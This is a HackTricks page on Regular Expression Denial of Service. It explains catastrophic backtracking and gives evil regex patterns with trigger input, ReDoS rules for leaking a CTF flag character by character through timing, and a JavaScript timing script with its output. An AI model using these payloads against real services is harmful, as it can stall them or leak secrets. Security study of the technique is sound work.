HackTricks Press
Search K

Appearance

Regular expression Denial of Service - ReDoS ​

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

Regular Expression Denial of Service (ReDoS) ​

A Regular Expression Denial of Service (ReDoS) happens when someone takes advantage of weaknesses in how regular expressions (a way to search and match patterns in text) work. Sometimes, when regular expressions are used, they can become very slow, especially if the piece of text they're working with gets larger. This slowness can get so bad that it grows really fast with even small increases in the text size. Attackers can use this problem to make a program that uses regular expressions stop working properly for a long time.

The Problematic Regex Naïve Algorithm ​

Check the details in https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS

Evil Regexes <a href="#evil-regexes" id="evil-regexes"></a> ​

An evil regular expression pattern is that one that can get stuck on crafted input causing a DoS. Evil regex patterns typically contain grouping with repetition and repetition or alternation with overlapping inside the repeated group. Some examples of evil patterns include:

  • (a+)+
  • ([a-zA-Z]+)*
  • (a|aa)+
  • (a|a?)+
  • (.*a){x} for x > 10

All those are vulnerable to the input aaaaaaaaaaaaaaaaaaaaaaaa!.

ReDoS Payloads ​

String Exfiltration via ReDoS ​

In a CTF (or bug bounty) maybe you control the Regex a sensitive information (the flag) is matched with. Then, if might be useful to make the page freeze (timeout or longer processing time) if the a Regex matched and not if it didn't. This way you will be able to exfiltrate the string char by char:

  • In this post you can find this ReDoS rule: ^(?=<flag>)((.*)*)*salt$
    • Example: ^(?=HTB{sOmE_fl§N§)((.*)*)*salt$
  • In this writeup you can find this one:<flag>(((((((.*)*)*)*)*)*)*)!
  • In this writeup he used: ^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$

ReDoS Controlling Input and Regex ​

The following are ReDoS examples where you control both the input and the regex:

javascript
function check_time_regexp(regexp, text){
    var t0 = new Date().getTime();;
    new RegExp(regexp).test(text);
    var t1 = new Date().getTime();;
    console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
}

// This payloads work because the input has several "a"s
[
//  "((a+)+)+$",  //Eternal,
//  "(a?){100}$", //Eternal
    "(a|a?)+$",
    "(\\w*)+$",   //Generic
    "(a*)+$",
    "(.*a){100}$",
    "([a-zA-Z]+)*$", //Generic
    "(a+)*$",
].forEach(regexp => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))

/*
Regexp (a|a?)+$ took 5076 milliseconds.
Regexp (\w*)+$ took 3198 milliseconds.
Regexp (a*)+$ took 3281 milliseconds.
Regexp (.*a){100}$ took 1436 milliseconds.
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/

Tools ​

References ​

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks: